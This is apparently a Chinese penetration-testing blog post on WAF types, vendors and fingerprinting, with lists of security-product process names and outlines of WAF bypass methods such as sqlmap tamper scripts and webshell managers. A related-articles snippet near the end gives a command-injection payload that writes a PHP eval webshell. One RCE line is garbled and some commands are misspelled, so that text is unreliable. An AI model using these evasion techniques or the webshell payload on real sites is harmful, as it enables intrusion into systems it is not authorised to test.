#渗透测试#漏洞挖掘#WAF分类及绕过思路

免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章读。

目录

一、Waf分类

软件型WAF

硬件型WAF

基于云WAF

开源型WAF

二、常见WAF进程和服务

(1) D盾

(2) 云锁

(3) 阿里云盾

(4) 腾讯云安全

(5) 360主机卫士

(6) 网站/服务器安全狗

(7) 护卫神·入侵防护系统

(8) 网防G01政府网站综合防护系统(“云锁”升级版)

三、WAF识别

(1) wafw00f/WhatWaf

(2) sqlmap -identify-waf

(3) 项目地址

四、WAF规则引擎原理


一、Waf分类

WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型指的是硬WAF、云WAF、虚拟机WAF之类的;嵌入型指的是web容器模块类型WAF、代码层WAF。

图片

WAF对于一些常规漏洞(如注入漏洞、XSS漏洞、命令执行漏洞、文件包含漏洞)的检测大多是基于“正则表达式”和“AI+规则”的方法,因此会有一定的概率绕过其防御。绕过waf的测试中,有很多方法可以使用,以下常用方法:

大小写绕过注释符绕过编码绕过分块传输绕过使用空字节绕过关键字替换绕过http协议覆盖绕过白名单ip绕过真实ip绕过Pipline绕过参数污染溢出waf绕过

可以把WAF分为四类:

云WAF类硬件WAF类软件WAF类网站内置WAF类
云waf基于云端的检测,安装简单,修改DNS解析或在服务器安装云WAF的模块即可。硬件WAF串联在内网的交换机上,防护范围大。软件WAF安装在服务器上根据网站流量决定占用的内存量。网站内置WAF在系统后台内置一项安全功能以便管理者使用。在这些类别内,硬件WAF防护能力较强。

软件型WAF

D盾:http://www.d99net.net/云锁:https://yunsuo.qianxin.com/网防:http://www.weishi110.cn/static/index.html安全狗:https://www.safedog.cn/护卫神:https://www.hws.com/智创:https://www.zcnt.com/悬镜:https://www.xmirror.cn/UPUPW:https://www.upupw.net/WTS-WAF:https://www.west.cn/安骑士:https://help.aliyun.com/product/28449.htmldotDefender:http://www.applicure.com/Products/

硬件型WAF

绿盟:
https://www.nsfocus.com.cn/安恒:https://www.dbappsecurity.com.cn/铱(yi)迅:https://www.yxlink.com/天融信深信服启明星辰知道创宇F5 BIG-IP:https://www.f5.com/

基于云WAF

安全宝创宇盾:https://defense.yunaq.com/cyd/玄武盾腾讯云百度云西部数码阿里云盾奇安信网站卫士

开源型WAF

Naxsi:https://github.com/nbs-system/naxsiOpenRASP:https://github.com/baidu/openraspModSecurity:https://github.com/SpiderLabs/ModSecurityhttps://github.com/SpiderLabs/owasp-modsecurity-crs
WAF比较常见的监测机制特点有以下几种。 (1)异常检测协议:拒绝不符合HTTP标准的请求,也可以只允许符合HTTP协议的部分选项通过,也有一些web应用防火墙还可以限定http协议中那些过于松散或未被完全制定的选项。 (2)增强输入验证:增强输入验证,对恶意字符进行拦截。 (3)及时补丁:及时屏蔽掉新型漏洞,避免攻击者进行攻击,主要依靠WAF厂商对新型漏洞的及时响应速度 (4)基于规则的保护和基于异常的保护:基于规则的保护可以提供各种web应用的安全规则,waf生产商会维护这个规则库,并及时为其更新。用户可以按照这些规则对应用进行全方面检测。还有的产品可以基于合法应用数据建立模型,并以此为依据判断应用数据的异常。但这需要对用户企业的应用具有十分透彻的了解才可能做到 (5)状态管理;能够判断用户是否是第一次访问,将请求重定向到默认登录页面并且记录事件,或对暴力破解行为进行拦截。 (6)其他防护技术:如隐藏表单域保护、抗入侵规避技术、响应监视和信息泄露保护。 (7)配置规则:可以自定义防护的规则,如是否允许“境外ip”的访问

二、常见WAF进程和服务

(1) D盾

服务名:d_safe进程名:D_Safe_Manage.exe、d_manage.exe

(2) 云锁

服务端监听端口:5555服务名:YunSuoAgent/JtAgent(云锁Windows平台代理服务)、YunSuoDaemon/JtDaemon(云锁Windows平台守护服务)进程名:yunsuo_agent_service.exe、yunsuo_agent_daemon.exe、PC.exe

(3) 阿里云盾

服务名:Alibaba Security Aegis Detect Service、Alibaba Security Aegis Update Service、AliyunService进程名:AliYunDun.exe、AliYunDunUpdate.exe、aliyun_assist_service.exe

(4) 腾讯云安全

进程名:BaradAgent.exe、sgagent.exe、YDService.exe、YDLive.exe、YDEdr.exe

(5) 360主机卫士

服务名:QHWafUpdata进程名:360WebSafe.exe、QHSrv.exe、QHWebshellGuard.exe

(6) 网站/服务器安全狗

服务名:
SafeDogCloudHelperSafedogUpdateCenterSafeDogGuardCenter(服务器安全狗守护中心)进程名:SafeDogSiteApache.exe、SafeDogSiteIIS.exe、SafeDogTray.exe、SafeDogServerUI.exe、SafeDogGuardCenter.exe、CloudHelper.exe、SafeDogUpdateCenter.exe

(7) 护卫神·入侵防护系统

服务名:hws、hwsd、HwsHostEx/HwsHostWebEx(护卫神主机大师服务)进程名:hws.exe、hwsd.exe、hws_ui.exe、HwsPanel.exe、HwsHostPanel.exe/HwsHostMaster.exe(护卫神主机大师)

(8) 网防G01政府网站综合防护系统(“云锁”升级版)

服务端监听端口:5555 服务名:YunSuoAgent、YunSuoDaemon(不知是否忘了替换了!) 进程名:gov_defence_service.exe、gov_defence_daemon.exe

三、WAF识别

WAF绕过不仅要了解WAF检查的原理,还需要识别是什么类型的WAF,不同类型,不同品牌的waf监测机制不一样,绕过的方式也不同。

(1) wafw00f/WhatWaf

利用wafw00f识别WAF,可以在WAF指纹目录下自行编写脚本。这类WAF识别工具的原理基本都是根据HTTP头部信息、状态码以及WAF拦截页中的图片、文字做为特征来进行检测,如wafw00f工具中的yunsuo.py脚本就是根据cookie中的security_session_verify来检测的。

/usr/lib/python3/dist-packages/wafw00f/plugins
#!/usr/bin/env pythonNAME = "Yunsuo"def is_waf(self):  if self.matchcookie("^security_session_verify"):  return True  return False

(2) sqlmap -identify-waf

利用sqlmap -identify-waf参数识别WAF,一样可以在WAF指纹目录下根据原有脚本和Awesome-WAF项目自行编写WAF指纹识别脚本,但有时可能会因为sqlmap新老版本的原因而导致存放路径不一样。

更新前:/usr/share/sqlmap/waf

更新后:/usr/share/golismero/tools/sqlmap/waf

 #!/usr/bin/env python """ Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) See the file "doc/COPYING" for copying permission """ import re from lib.core.enumsimport HTTP_HEADER from lib.core.settingsimport WAF_ATTACK_VECTORS __product__ ="ModSecurity: Open Source Web Application Firewall (Trustwave)" defdetect(get_page):  retval =False for vectorin WAF_ATTACK_VECTORS:  page, headers, code = get_page(get=vector)  retval = code ==501and re.search(r"Reference #[0-9A-Fa-f.]+", page, re.I)isNone  retval |= re.search(r"Mod_Security|NOYB", headers.get(HTTP_HEADER.SERVER,""), re.I)isnotNone if retval: break return retval

(3) 项目地址

https://github.com/sqlmapproject/sqlmaphttps://github.com/EnableSecurity/wafw00fhttps://github.com/Ekultek/WhatWafhttps://github.com/0xInfection/Awesome-

Waf工作模式:

关闭模式:对某个站点使用关闭模式,到这个站点的流量就感受不到WAF的存在。一般的做法,是解绑域名,再到web服务上绑定该域名。

图片


监听模式:既过规则,也会直接传递给web服务。

图片

防护模式:直接过规则,不会直接传递给web服务

图片

四、WAF规则引擎原理

WAF无非就是拦截有害请求和伪装响应,出于性能考虑,拦截有害请求又分为两个层面,由网络层拦截和由应用层拦截,且任何请求应该先在网络层过滤再到应用层过滤。也就是说,规则引擎分为两块,对请求过滤和对响应过滤,而对请求过滤分为两大步,网络层过滤和应用层过滤。

原理图大致如下:

图片

详情参考:https://www.cnblogs.com/realjimmy/p/12937247.html#:~:text=WAF%E5%85%A8%E7%A7%B0%E5%8F%ABWeb,Application%20Firewall%EF%BC%8C%E5%92%8C%E4%BC%A0%E7%BB%9F%E9%98%B2%E7%81%AB%E5%A2%99%E7%9A%84%E5%8C%BA%E5%88%AB%E6%98%AF%EF%BC%8C%E5%AE%83%E6%98%AF%E5%B7%A5%E4%BD%9C%E5%9C%A8%E5%BA%94%E7%94%A8%E5%B1%82%E7%9A%84%E9%98%B2%E7%81%AB%E5%A2%99%EF%BC%8C%E4%B8%BB%E8%A6%81%E5%AF%B9web%E8%AF%B7%E6%B1%82%2F%E5%93%8D%E5%BA%94%E8%BF%9B%E8%A1%8C%E9%98%B2%E6%8A%A4%E3%80%82

Waf工作原理:

WAF工作方式是对接收到的数据包进行正则匹配过滤,如果正则匹配到与现有漏洞知识库的攻击代码相同,则认为这个恶意代码,从而对于进行阻断。所以,对于基于规则匹配的WAF,需要每天都及时更新最新的漏洞库。

Waf工作过程:

解析HTTP请求

对接收到数据请求流量时会先判断是否为HTTP/HTTPS请求,之后会查看此URL请求是否在白名单之内,如果该URL请求在白名单列表里,直接交给后端Web服务器进行响应处理,对于不在白名单之内的对数据包解析后进入到规则检测部分。

匹配规则

解析后的数据包会进入到检测体系中进行规则匹配,检查该数据请求是否符合规则,识别出恶意攻击行为。

防御动作

如果符合规则则交给后端Web服务器进行响应处理,对于不符合规则的请求会执行相关的阻断、记录、告警处理。

不同的WAF产品会自定义不同的拦截警告页面,在日常渗透中我们也可以根据不同的拦截页面来辨别出网站使用了哪款WAF产品,从而有目的性的进行WAF绕过。

记录日志


Waf绕过

Waf拦截会出现在安全测试的各个层面,掌握各个层面的分析和绕过技术最为关键。

信息搜集

绕过分析:抓包技术、waf说明、FUZZ测试绕过手法:  数据包特征:请求方式、模拟用户、爬虫引擎、白名单机制  请求速度:延时(阿里3秒)、代理池、爬虫引擎、白名单机制

漏洞发现

工具:综合:awvs、xray、appscan单点:tpscan、wpscan、st2can触发:扫描速度:延时、代理池、白名单工具指纹:特征修改、模拟用户漏洞payload:数据变异、冷门扫描

漏洞利用

Sql注入、文件上传、xss跨站、文件包含、RCE执行
Sql注入:如需sgImap注入  修改us头及加入代理防cc拦截自写tamper模块安全狗:参考之前payloadAliyun:基本修改指纹即可 宝塔:匹配关键字外加/*等aglmap --proxy="http://127.0.0.1:8080"  --tamper="waf.py"   --.random-agent

图片

图片

#文件上传 php截断参考前面上传waf绕过payload

图片

#xss跨站利用xsstrike绕过 加上--timeout或--proxy绕过cchttps://www.freebuf.com/sectool/142044.html
其他集合RCE:加密加码绕过?算法可逆?关键词绕过?提交方法?各种测试!ex=sy=ser_replace ('', ,, 'pahpxinxfo() '); assert (sy) ; asubmit32648F90E49BAA4文件包含:没什么好说的就这几种 .\ .../ ..等
权限控制:  脚本:asp、php、jsp、aspx、py、war等  工具:菜刀、蚁见、冰蝎代码:加密混淆、变量覆盖、异或生成行为:指纹变异、自写轮子检测:常规安全脚本工具使用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/948150.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

电子应用设计方案85:智能 AI门前柜系统设计

智能 AI 门前柜系统设计 一、引言 智能 AI 门前柜系统旨在提供便捷、安全和智能的物品存储与管理解决方案,适用于家庭、公寓或办公场所的入口区域。 二、系统概述 1. 系统目标 - 实现无接触式物品存取,减少交叉感染风险。 - 具备智能识别和分类功能&am…

如何在不丢失数据的情况下从 IOS 14 回滚到 IOS 13

您是否后悔在 iPhone、iPad 或 iPod touch 上安装 iOS 14?如果你这样做,你并不孤单。许多升级到 iOS 14 beta 的 iPhone、iPad 和 iPod touch 用户不再适应它。 如果您在正式发布日期之前升级到 iOS 14 以享受其功能,但您不再适应 iOS 14&am…

线性代数考研笔记

行列式 背景 分子行列式:求哪个未知数,就把b1,b2放在对应的位置 分母行列式:系数对应写即可 全排列与逆序数 1 3 2:逆序数为1 奇排列 1 2 3:逆序数为0 偶排列 将 1 3 2 只需将3 2交换1次就可以还原原…

设计心得——流程图和数据流图绘制

一、流程图和数据流图 在软件开发中,画流程图和数据流图可以说是几乎每个人都会遇到。 1、数据流(程)图 Data Flow Diagram,DFG。它可以称为数据流图或数据流程图。其主要用来描述系统中数据流程的一种图形工具,可以将…

SpringBoot框架开发中常用的注解

文章目录 接收HTTP请求。RestController全局异常处理器Component依赖注入LombokDataBuildersneakyThrowsRequiredArgsConstructor 读取yml文件配置类注解 接收HTTP请求。 RequestMapping 接收HTTP请求。具体一点是 GetMapping PostMapping PutMapping DeleteMapping 一共…

ELK日志平台搭建 (最新版)

一、安装 JDK 1. 下载 JDK 21 RPM 包 wget https://download.oracle.com/java/21/latest/jdk-21_linux-x64_bin.rpm2. 安装 JDK 21,使用 rpm 命令安装下载的 RPM 包: sudo rpm -ivh jdk-21_linux-x64_bin.rpm3. 配置环境变量 编辑 /etc/profile 文件以配置 JAVA_HO…

使用 Jupyter Notebook:安装与应用指南

文章目录 安装 Jupyter Notebook1. 准备环境2. 安装 Jupyter Notebook3. 启动 Jupyter Notebook4. 选择安装方式(可选) 二、Jupyter Notebook 的基本功能1. 单元格的类型与运行2. 可视化支持3. 内置魔法命令 三、Jupyter Notebook 的实际应用场景1. 数据…

AcWing-164.可达性统计(拓扑排序 + 位运算)

原题链接:164. 可达性统计 - AcWing题库 题目描述: 题目 输入格式 输出格式 数据范围 输入样例: 输出样例: 思路 AC代码: 题目描述: 题目 给定一张 𝑁 个点 𝑀 条边的有向无…

Windows安装了pnpm后无法在Vscode中使用

Windows安装了pnpm后无法在Vscode中使用 解决方法: 以管理员身份打开 PowerShell 并执行以下命令后输入Y回车即可。 Set-ExecutionPolicy RemoteSigned -Scope CurrentUser之后就可以正常使用了

python学opencv|读取图像(二十五)使用cv2.putText()绘制文字进阶-垂直镜像文字

【1】引言 前序学习进程找那个,已经掌握了使用pythonopencv绘制常规文字和倾斜文字的基本技巧。相关链接如下: python学opencv|读取图像(二十三)使用cv2.putText()绘制文字-CSDN博客 python学opencv|读取图像(二十四…

6.充放电相关实验(过压、欠压、过流、短路、过温、低温)演示

1.充放电演示 (1)一定要按照操作步骤来,先将电池板上的充放电开关一定要处于断开状态(字母O一边按下是断开,字母I一边按下是接通),然后夹上充电器的电源夹子到BMS控制板的PACK-、PACK+两端,然后给充电器插上电源(如果使用自己的充电器一定要注意不要大于21V),然后拨动…

解决HBuilderX报错:未安装内置终端插件,是否下载?或使用外部命令行打开。

版权声明 本文原创作者:谷哥的小弟作者博客地址:http://blog.csdn.net/lfdfhl 错误描述 在HBuilderX中执行npm run build总是提醒下载插件;图示如下: 但是,下载总是失败。运行项目时候依然弹出上述提醒。 解决方案 …

【小程序开发】- 小程序版本迭代指南(版本发布教程)

一,版本号 版本号是小程序版本的标识,通常由一系列数字组成,如 1.0.0、1.1.0 等。版本号的格式通常是 主版本号.次版本号.修订号 主版本号:当小程序有重大更新或不兼容的更改时,主版本号会增加。 次版本号&#xff1a…

基于微信小程序投票评选系统的设计与实现ssm+论文源码调试讲解

第4章 系统设计 4.1 系统设计的原则 在系统设计过程中,也需要遵循相应的设计原则,这些设计原则可以帮助设计者在短时间内设计出符合设计规范的设计方案。设计原则主要有可靠性,安全性,可定制化,可扩展性,可…

库伦值自动化功耗测试工具

1. 功能介绍 PlatformPower工具可以自动化测试不同场景的功耗电流,并可导出为excel文件便于测试结果分析查看。测试同时便于后续根据需求拓展其他自动化测试用例。 主要原理:基于文件节点 coulomb_count 实现,计算公式:电流&…

AWS re:Invent 的创新技术

本月早些时候,Amazon 于 12 月 1 日至 5 日在内华达州拉斯维加斯举行了为期 5 天的 re:Invent 大会。如果您从未参加过 re:Invent 会议,那么最能描述它的词是“巨大”——不仅从与会者人数(60,000 人)来看&…

DVWA 命令注入写shell记录

payload 127.0.0.1;echo "<?php eval($_POST["md"]);?>" > md.php 成功写入&#xff0c;访问查看 成功解析

lua库介绍:数据处理与操作工具库 - leo

leo库简介 leo 模块的创作初衷旨在简化数据处理的复杂流程&#xff0c;提高代码的可读性和执行效率&#xff0c;希望leo 模块都能为你提供一系列便捷的工具函数&#xff0c;涵盖因子编码、多维数组创建、数据框构建、列表管理以及管道操作等功能。 要使用 Leo 模块&#xff0c;…

第10章图10.1-10.5《分析模式》原图和UML图对比

DDD领域驱动设计批评文集 做强化自测题获得“软件方法建模师”称号 《软件方法》各章合集

用Tkinter制作一个用于合并PDF文件的小程序

需要安装PyPDF2库&#xff0c;具体原代码如下&#xff1a; # -*- coding: utf-8 -*- """ Created on Sun Dec 29 14:44:20 2024author: YBK """import PyPDF2 import os import tkinter as tk import windndpdf_files [] def dragged_files(f…